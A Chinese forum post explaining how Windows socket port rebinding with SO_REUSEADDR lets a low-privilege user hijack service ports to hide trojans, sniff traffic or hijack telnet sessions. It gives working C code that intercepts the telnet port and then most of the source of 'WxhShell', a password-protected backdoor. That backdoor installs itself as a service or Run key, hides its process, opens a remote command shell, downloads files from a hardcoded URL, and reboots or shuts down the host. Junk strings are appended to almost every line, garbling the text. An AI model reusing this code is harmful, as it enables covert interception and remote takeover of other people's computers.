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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p{0rHu[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K[-G2  
0}>p)k3&A  
  saddr.sin_family = AF_INET; &x4|!" G  
#("E) P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,F|49i.K  
DnB :~&Dw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c`)[-  
99Nm?$ g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %F0.TR!!n  
%$R]NL|  
  这意味着什么?意味着可以进行如下的攻击: ) @f6  
V$  MMK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {%Q+Pzl.  
R8, g^N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |s !7U  
5q}7#{A  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `jGG^w3  
bqZ5GKUo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _/}/1/y$Y  
#t&L}=G{%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _GL:4  
Gl>*e|}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c38ENf  
MB?762 Q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mv`ND&  
]M&KUgz  
  #include `+T"^{ Z  
  #include N MH'4R  
  #include _Qf310oONS  
  #include    Uj)`(}r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ? wZ`U Oi  
  int main() TDW\n  
  { !='L`.  
  WORD wVersionRequested; 6Iv &c2  
  DWORD ret; >+ku:<Hw%.  
  WSADATA wsaData; /,^AG2]( f  
  BOOL val; +nQp_a1{9%  
  SOCKADDR_IN saddr; {bO O?pp  
  SOCKADDR_IN scaddr; GsNZr=;C  
  int err; 6F3FcUL  
  SOCKET s; y9Q.TL>=[  
  SOCKET sc; I73=PfS:m  
  int caddsize; o+FDkqEN  
  HANDLE mt; ![aa@nOSa  
  DWORD tid;   O g!SFg*  
  wVersionRequested = MAKEWORD( 2, 2 ); :z%q09.)  
  err = WSAStartup( wVersionRequested, &wsaData ); [|APMMYK1  
  if ( err != 0 ) { %v<BE tq  
  printf("error!WSAStartup failed!\n"); Dq9*il;'  
  return -1; (Ujry =f  
  } 7E\k97#G  
  saddr.sin_family = AF_INET; tE;c>=>t  
   ?!$:I8T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1HBXD\!  
h~u|v[@{J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qW|_|%{U+  
  saddr.sin_port = htons(23); e4Q2$ Q@b  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~ qezr\$2  
  { Q?{^8?7  
  printf("error!socket failed!\n"); em?Q4t  
  return -1; irKM?#h  
  } trMwFpfu  
  val = TRUE; -5#cfi4^*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b_a6|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?=V;5H.  
  { 4>(rskl_  
  printf("error!setsockopt failed!\n"); K5}0!_)G  
  return -1; i&\ c DQ 3  
  } #7p!xf^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zx;~sUR;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s-JS[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sff4N>XAl<  
QeG3X+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2[g kDZ  
  { z^\-x9vL  
  ret=GetLastError(); 5 N:IH@  
  printf("error!bind failed!\n"); #X qnH  
  return -1; ZMO ym=  
  } >IJX=24Rc  
  listen(s,2); \"6?*L|]  
  while(1) d VyT`  
  { ^JAp#?N^9  
  caddsize = sizeof(scaddr); Y |9  
  //接受连接请求 t"jiLOQ[6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J7+[+Y  
  if(sc!=INVALID_SOCKET) I*H($ a  
  { #O^%u,mJj  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Tb}op XYK  
  if(mt==NULL) Q2<v: *L  
  { ~{-9qOGw;  
  printf("Thread Creat Failed!\n"); %F13*hOu  
  break; y'(a:.%I  
  } I %|;M%B  
  } D qHJ *x4  
  CloseHandle(mt); ;2[),k  
  } >35W{ d  
  closesocket(s); ~]SCf@pRk  
  WSACleanup(); HYl~)O>  
  return 0; 8 &3KVd`  
  }   CZog?O}<  
  DWORD WINAPI ClientThread(LPVOID lpParam) -`UOqjb]3  
  { lN*beOj  
  SOCKET ss = (SOCKET)lpParam; o+Fm+5t;  
  SOCKET sc; fNz(z\  
  unsigned char buf[4096]; L}rYh`bUP[  
  SOCKADDR_IN saddr; &z@}9U*6b  
  long num; YP>J'{?b*"  
  DWORD val; kLc@U~M  
  DWORD ret; [ps4i_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 d'iSvd.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g{CU1c)B  
  saddr.sin_family = AF_INET; h s_x @6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wsB  
  saddr.sin_port = htons(23); ~BMUea(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a(X V~o  
  { 2D /bMq  
  printf("error!socket failed!\n"); &hih p"  
  return -1; 88l1g,`**  
  } aJ}hlM>  
  val = 100; 8:[ l1d86  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @0(%ayi2Y  
  { ~F%sO'4!  
  ret = GetLastError(); dh9@3. t  
  return -1; *HB 32 =qD  
  } 'KDt%?24  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $9P=  
  { ) ]DqK<-  
  ret = GetLastError(); >~_z#2PA  
  return -1; e?FQ6?  
  } e+)y6Q=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2_ 1RJ  
  { AN3oh1xe:  
  printf("error!socket connect failed!\n"); g)=$zXWhP  
  closesocket(sc); O p1TsRm5L  
  closesocket(ss); m#[9F']Z`  
  return -1; '#SZ|Rr6tX  
  } 6TTu[*0NT  
  while(1) $0vWC#.A]  
  { ug.|ag'R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =CO) Q2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :W6'G@ p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h?v8b+:0  
  num = recv(ss,buf,4096,0); <B>hvuCoH  
  if(num>0) l fF RqZ  
  send(sc,buf,num,0); +~ Hb}0ry  
  else if(num==0) D+BiclJ  
  break; OQ4Pk/-'  
  num = recv(sc,buf,4096,0); 0U:X[2|)  
  if(num>0) BMI`YGjY1  
  send(ss,buf,num,0); ycSGv4 )  
  else if(num==0) K^o{lyK;@~  
  break; k`&FyN^)  
  } #Hz9@H  
  closesocket(ss); 4_ypFuS^  
  closesocket(sc); V)`A,7X  
  return 0 ; > ;#Y0  
  } o.w/ ?  
Y652&{>q  
R)ZzRz|/  
========================================================== K F_Uu  
!L|l(<C  
下边附上一个代码,,WXhSHELL $MGKGWx@E  
 ^#C+l  
========================================================== Lq ;~6  
7 )[2Ud8  
#include "stdafx.h" H }]Zp  
I'^XEl?   
#include <stdio.h> 6" Lyv  
#include <string.h> 6P}?+ Gc  
#include <windows.h> ]kx<aQ^  
#include <winsock2.h> $]Ix(7@W  
#include <winsvc.h> D\+x/r?-I  
#include <urlmon.h> f3qR7%X?  
$] xH"Z%"  
#pragma comment (lib, "Ws2_32.lib") 9H;Os:"\|  
#pragma comment (lib, "urlmon.lib") Y:\]d1C  
qoH:_o8ClO  
#define MAX_USER   100 // 最大客户端连接数 7O k-T10  
#define BUF_SOCK   200 // sock buffer QI U%!9Y  
#define KEY_BUFF   255 // 输入 buffer k{lo'  
uL-kihV:-  
#define REBOOT     0   // 重启 \)wVO*9*0  
#define SHUTDOWN   1   // 关机 `7y3C\zyQ  
d }fd^x/  
#define DEF_PORT   5000 // 监听端口 EPLHw  
+X+R8  
#define REG_LEN     16   // 注册表键长度 wBg?-ji3<  
#define SVC_LEN     80   // NT服务名长度 H_3Wx fO  
=WI3#<vDG  
// 从dll定义API OmZZTeGg1s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )quQI)Ym  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r}e(MT:R'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #:yAi_Ct  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ME]7e^  
*0@Z+'M?  
// wxhshell配置信息 1|-C(UW>  
struct WSCFG { [.Md_  
  int ws_port;         // 监听端口 %%n&z6w-  
  char ws_passstr[REG_LEN]; // 口令 BR?DW~7J j  
  int ws_autoins;       // 安装标记, 1=yes 0=no fV7 k{dR  
  char ws_regname[REG_LEN]; // 注册表键名 Ksh[I,+N\  
  char ws_svcname[REG_LEN]; // 服务名 #Dgu V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *^7^g!=z2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %rnRy<9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |0u qW1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~2 XGw9`J2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z;@<J8I  
2Hx*kh2  
}; _X<V` , p  
g0a!auWM  
// default Wxhshell configuration d^$cx(2$D  
struct WSCFG wscfg={DEF_PORT, AVU'rsXA  
    "xuhuanlingzhe", i=>`=. ~  
    1, Ekrpg^3qp"  
    "Wxhshell", `WC4:8  
    "Wxhshell", !IC .0I`  
            "WxhShell Service", xDekC~ Zq  
    "Wrsky Windows CmdShell Service", X=6L-^ o)  
    "Please Input Your Password: ", ,g?M[(wtc  
  1, ;UX9Em  
  "http://www.wrsky.com/wxhshell.exe", HlkjyD8  
  "Wxhshell.exe" OEbZs-:  
    }; hZUS#75M5  
P&5vVA6K7  
// 消息定义模块 F3Da-6T@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o!y<:CGL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CnY dj~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^dxy%*Z/  
char *msg_ws_ext="\n\rExit."; uF|[MWcy0#  
char *msg_ws_end="\n\rQuit."; 93w$ck},?G  
char *msg_ws_boot="\n\rReboot..."; @N> rOA  
char *msg_ws_poff="\n\rShutdown..."; aa!1w93?i  
char *msg_ws_down="\n\rSave to "; c[OQo~m$  
\[+':o`LH  
char *msg_ws_err="\n\rErr!"; CSm(yB{|pC  
char *msg_ws_ok="\n\rOK!"; }gX4dv B  
55>+%@$,a  
char ExeFile[MAX_PATH]; lu1T+@t  
int nUser = 0; J[K>)@I/  
HANDLE handles[MAX_USER]; =5%}CbUU)4  
int OsIsNt; ;lTgihW-  
*;t_V laZ  
SERVICE_STATUS       serviceStatus; ,0>_(5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i~HS"n  
)s 1 Ei9J  
// 函数声明 2@ZuH^qhk  
int Install(void); SnO,-Rg  
int Uninstall(void); yAel4b/}  
int DownloadFile(char *sURL, SOCKET wsh); iqXsD gkr  
int Boot(int flag); jJ_6_8#  
void HideProc(void); *(*XNd||  
int GetOsVer(void); 5M3)7  
int Wxhshell(SOCKET wsl); 3URrK[%x`  
void TalkWithClient(void *cs);  _8z  
int CmdShell(SOCKET sock); 9'p pb  
int StartFromService(void); Qm?o^%a  
int StartWxhshell(LPSTR lpCmdLine); <jVk}gi)Jp  
W?12'EG}xa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hA"z0Fszh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C9T- 4o1  
9>5]y}.{  
// 数据结构和表定义 -32.g \]  
SERVICE_TABLE_ENTRY DispatchTable[] = YjG:ECj}  
{ sWLH"'Z  
{wscfg.ws_svcname, NTServiceMain}, Z:MU5(Te  
{NULL, NULL} umiD2BRZ  
}; l)1ySX&BU  
_P]k6z+  
// 自我安装 qjvIp-  
int Install(void) h"Q&E'0d  
{ ds QGj&  
  char svExeFile[MAX_PATH]; kI$X~s$r  
  HKEY key; *:,7 A9LY  
  strcpy(svExeFile,ExeFile); \hZ9in`YlR  
Yr+ghl/ V  
// 如果是win9x系统,修改注册表设为自启动 7R om#Kl:  
if(!OsIsNt) { ;,LlOR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8,(5Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rwdj  
  RegCloseKey(key); 8c'E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DcLx [C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D&&11Iz&  
  RegCloseKey(key); R:DW>LB  
  return 0; -zL xT  
    } "PPn^{bYm  
  } 1 Xu^pc  
} ~4~>; e  
else { *YY:JLe  
#9Dixsl*Q  
// 如果是NT以上系统,安装为系统服务 F%QVn .  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7":0CU% %  
if (schSCManager!=0) :j,e0#+sA  
{ )Ikx0vDFQ  
  SC_HANDLE schService = CreateService <:BhV82l  
  ( TXQ Y&7  
  schSCManager, dmD ':1  
  wscfg.ws_svcname, fM)RO7  
  wscfg.ws_svcdisp, f8 M=P.jz  
  SERVICE_ALL_ACCESS, "^ cn9AG{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n ZM|8  
  SERVICE_AUTO_START, } Pc6_#  
  SERVICE_ERROR_NORMAL, Jk7[}Jc$  
  svExeFile, R:v`\  
  NULL, dKyX70Zy9  
  NULL, O<h`[1eUjS  
  NULL, l4d2 i;4BK  
  NULL, cS ;hyLd  
  NULL KdOy3O_5N  
  ); Y&5h_3K;<  
  if (schService!=0) G}\E{VvWh  
  { '?k*wEu  
  CloseServiceHandle(schService); |nj%G<  
  CloseServiceHandle(schSCManager); =`rESb[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >g6:{-b^a  
  strcat(svExeFile,wscfg.ws_svcname); HtIM8z#/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { . \fzK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7@Qz  
  RegCloseKey(key); dYJW`Q;j.|  
  return 0; R '/Ilz`  
    } X(#G6KeZFZ  
  } jfHVXu^M  
  CloseServiceHandle(schSCManager); W$P)fPU'  
} fN>o465I6  
} avk0pY(n  
y4Plm.  
return 1; Zl.}J,0F  
} NQ%lwE~  
e ?H`p"l  
// 自我卸载 6P!M+PO  
int Uninstall(void) (3"V5r`*;  
{ \?)<==^  
  HKEY key; +B%ZB9  
(6 fh[eK86  
if(!OsIsNt) { aBT|Q@Y.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >e"CpbZ'  
  RegDeleteValue(key,wscfg.ws_regname); kL,AY-Iu{@  
  RegCloseKey(key); R y0n_J:7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sL XQ)Ce  
  RegDeleteValue(key,wscfg.ws_regname); Q5/".x^@  
  RegCloseKey(key); grnlJ=  
  return 0; +=^10D  
  } RpR;1ktF>  
} N'!a{rF  
} ^6|Q$]}Ok  
else { _bn*B$  
d?*=<w!A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uG2Hzav  
if (schSCManager!=0) WeE>4>^  
{ c63DuHA*C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O!kBp(?]  
  if (schService!=0) AY{caM  
  { R-"A* /A 2  
  if(DeleteService(schService)!=0) { }i ./,  
  CloseServiceHandle(schService); (5re'Pl  
  CloseServiceHandle(schSCManager); gEMxK2MNXj  
  return 0; B3]q*ERAo  
  } ~%B^`s  
  CloseServiceHandle(schService); Y'`w.+9  
  } nWfOiw-t  
  CloseServiceHandle(schSCManager); vZmM=hW~  
} NSUw7hnWvz  
} KQj5o>} 6  
I1S*=^Z_U  
return 1; dQQh$*IL?{  
} pM= @  
c%yhODq/  
// 从指定url下载文件 D|@*HX@_Xp  
int DownloadFile(char *sURL, SOCKET wsh) 9"K EHf!  
{ r*fZS$e  
  HRESULT hr; Lf{9=;  
char seps[]= "/"; eYMp@Cx  
char *token; >f JY  
char *file; O{uc  h  
char myURL[MAX_PATH]; K2<"O qp_W  
char myFILE[MAX_PATH]; D.9qxM"Z>  
5fMVjd  
strcpy(myURL,sURL); <spVUp  
  token=strtok(myURL,seps); Pk!RgoWF  
  while(token!=NULL) lO! Yl:;m%  
  { oW3j|V  
    file=token; P3UU~w+s  
  token=strtok(NULL,seps); D]\of#%T  
  } U}<5%"!;  
U,Ya^2h%  
GetCurrentDirectory(MAX_PATH,myFILE); d _ )5Ks}  
strcat(myFILE, "\\"); S<H 2e{~  
strcat(myFILE, file); :rd{y`59>&  
  send(wsh,myFILE,strlen(myFILE),0); 6e0tA()F  
send(wsh,"...",3,0); ul$k xc=N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ybo:2e  
  if(hr==S_OK) jR[VPm=  
return 0; n@xC?D:t*  
else r#rL~Rsd}  
return 1; d$qivct  
i x2V?\  
} U:"X *  
yNCd} 4Ym5  
// 系统电源模块 R8LJC]6Bh  
int Boot(int flag) #t N9#w[K{  
{ (iQ< [3C=  
  HANDLE hToken; P/i{_r  
  TOKEN_PRIVILEGES tkp; q@k/"ee*?  
LtIp,2GP&_  
  if(OsIsNt) { *\Z9=8yK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )!z4LE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .n$c+{  
    tkp.PrivilegeCount = 1; x*>@knP<-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?='2@@8;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )Y4;@pEU  
if(flag==REBOOT) { >7g #e,d   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7PTw'+{  
  return 0; sg YPR  
} Uh[MB wK  
else { 8XfhXm>~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3yGo{uW  
  return 0; +4L]Z ;k  
} 0zQ~'x  
  } p>#sR4d>  
  else { {Kh^)oYdd  
if(flag==REBOOT) { gq%U5J"x;J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2 |`7_*\  
  return 0; arK(dg~S  
} L6d^e53AP  
else { 1S[4@rZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]{Y7mpdB  
  return 0; aH/8&.JLi  
} oYx4+xH/  
} edai2O  
c r,fyAvX  
return 1; Fs$mLa  
} af@R\"N9c  
w{8O$4 w  
// win9x进程隐藏模块 m@Hg:DY  
void HideProc(void) /,d]`N!  
{ C6"{-{H  
inHlL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i/{dD"HwM  
  if ( hKernel != NULL ) dzk1!yy  
  { .R^R32ln  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =W*Ro+wWb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cqYMzS t  
    FreeLibrary(hKernel); C5,\DdCX,  
  } 73j\!x  
C>A} e6o  
return; x)R1aq  
} ?`= <*{_o  
$bU.6  
// 获取操作系统版本 :W.pD:/=v  
int GetOsVer(void) 5Lm-KohT'  
{ 8\F|{vt#  
  OSVERSIONINFO winfo; / z m+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QsX`IYk  
  GetVersionEx(&winfo); lT?Vt`==~M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }0[<xo>K  
  return 1; fBb:J+  
  else x.9[c m-!  
  return 0; FwE<_hq//  
} 6&"*{E  
C>Q|"Vf2  
// 客户端句柄模块 =}" P;4:  
int Wxhshell(SOCKET wsl) }#q0K  
{ a|5<L  
  SOCKET wsh; C).+h7{nd  
  struct sockaddr_in client; Cp?6vu|RA  
  DWORD myID; _'|C-j`u$  
N(e>]ui  
  while(nUser<MAX_USER) n5 <B*  
{ HBNX a  
  int nSize=sizeof(client); bzaweA H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %+((F +[  
  if(wsh==INVALID_SOCKET) return 1; B qo#cnlG  
9!PM1<p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =)#<u9 qqL  
if(handles[nUser]==0) [x%8l,O #l  
  closesocket(wsh); ]5Q)mWF  
else Y>{%,d#s_  
  nUser++; Vp1Q^`a{G  
  } z%]3`_I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (tF/2cZk  
sDvy(5  
  return 0; ac,<+y7A  
} J|@O4 g   
I-Q(kWc  
// 关闭 socket b)>l7nOc  
void CloseIt(SOCKET wsh) ;Za^).=  
{ ?y@;=x!'  
closesocket(wsh); 1]W8A.ZS  
nUser--; LWxP}? =  
ExitThread(0); F ~e}=Nb  
} Q>xp 90&.n  
|}: D_TX  
// 客户端请求句柄 ZftucD|ZY/  
void TalkWithClient(void *cs) Bnz}:te}  
{ J! "m{ 8-  
.G}$jO}  
  SOCKET wsh=(SOCKET)cs; qL$\[(  
  char pwd[SVC_LEN]; ;[7#h8  
  char cmd[KEY_BUFF]; rW)}$|-Z  
char chr[1]; ]>0$l _V  
int i,j; Wt=%.Y( x  
QZ5%nJme_  
  while (nUser < MAX_USER) { M2A3]wd2a  
T2to!*T  
if(wscfg.ws_passstr) { .4!wp&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U9Lo0K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cr!sq.)s  
  //ZeroMemory(pwd,KEY_BUFF); m xy=3cUi  
      i=0; W,%qL6qV  
  while(i<SVC_LEN) { Ut(BQM>U+$  
V^\b"1X7N  
  // 设置超时 <2\Q Y  
  fd_set FdRead; 6a6N$v"  
  struct timeval TimeOut; .Pa6HA !  
  FD_ZERO(&FdRead); ?osYs<k \  
  FD_SET(wsh,&FdRead); 5?TjuGc  
  TimeOut.tv_sec=8; 7': <I- Fm  
  TimeOut.tv_usec=0; hw&~OJeo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |H8UT S X+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (k %0|%eR  
>;X^+JH!)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cV* 0+5  
  pwd=chr[0]; !M k]%  
  if(chr[0]==0xd || chr[0]==0xa) { d`KW]HJw  
  pwd=0; L_AQS9a^D  
  break; oX-h7;SD  
  } Z15b'^)?9  
  i++; t<qXXQ&5  
    } U&6f:IV  
)eWg2w]  
  // 如果是非法用户,关闭 socket i'0ol^~y6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jhE3@c@pT  
} ,,(BW7(  
RTYhgq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SG3qNM: g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {q BbzBG  
jF%l\$)/  
while(1) { MtK5>mhZI`  
V, e  
  ZeroMemory(cmd,KEY_BUFF); y &%2  
 TGozoPV  
      // 自动支持客户端 telnet标准   xW'(]Z7_  
  j=0; tJ9`Ys  
  while(j<KEY_BUFF) { 4N{^niq7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2d-C}&}L\  
  cmd[j]=chr[0]; w77"?kJ9X  
  if(chr[0]==0xa || chr[0]==0xd) { YS&Q4nv-  
  cmd[j]=0; n&}ILLc  
  break; X6: c-  
  } ?1MaA  
  j++; :S{+|4pH  
    } sMAu*  
{AqPQeNgz  
  // 下载文件 T>s3s5Y  
  if(strstr(cmd,"http://")) { fwi( qx1=}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :w 4Sba3  
  if(DownloadFile(cmd,wsh)) <f`G@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /CN`U7:E  
  else D.R 7#^.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G2}e@L0  
  } WT>2eMK[  
  else { gEU|Bx/!=  
[D%5Fh\0  
    switch(cmd[0]) { X Sw0t8  
  -V)DKf"f  
  // 帮助 IXef}%1N?  
  case '?': { r+%}XS%;h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pe$l'ur  
    break; Ljjuf=]  
  } vmZyvJSE  
  // 安装 y6nPs6kR  
  case 'i': { [<M~6]  
    if(Install()) L) ]|\|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8%wu:;*]%  
    else 5L4{8X0X8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? @Y'_f  
    break; Q-}yZ  
    } 5J4'\M  
  // 卸载 OWRT6R4v  
  case 'r': { mew,S)dq!  
    if(Uninstall()) (}u2) 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2=PX1kI  
    else $Dm2>:Dmt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;NHZD  
    break; #r}O =izi  
    } `i,l)X]  
  // 显示 wxhshell 所在路径 ?(4E le  
  case 'p': { |aovZ/b4  
    char svExeFile[MAX_PATH]; |99/?T-QW  
    strcpy(svExeFile,"\n\r"); rVE!mi]%  
      strcat(svExeFile,ExeFile); [Grd?mc#  
        send(wsh,svExeFile,strlen(svExeFile),0); V_T.#"C4=z  
    break; ~<?+(V^D  
    } ?B"k9+%5ej  
  // 重启 W h^9 Aq  
  case 'b': { '*~_!lE5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ? %9-5"U[  
    if(Boot(REBOOT)) O#g'4 S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N:]71+  
    else { 8tR(i[L   
    closesocket(wsh); +$-@8,F>  
    ExitThread(0); .m&JRzzV  
    } {WE1^&Vk-}  
    break; GEdWpYKS-`  
    } I0 78[3b  
  // 关机 w@&4dau  
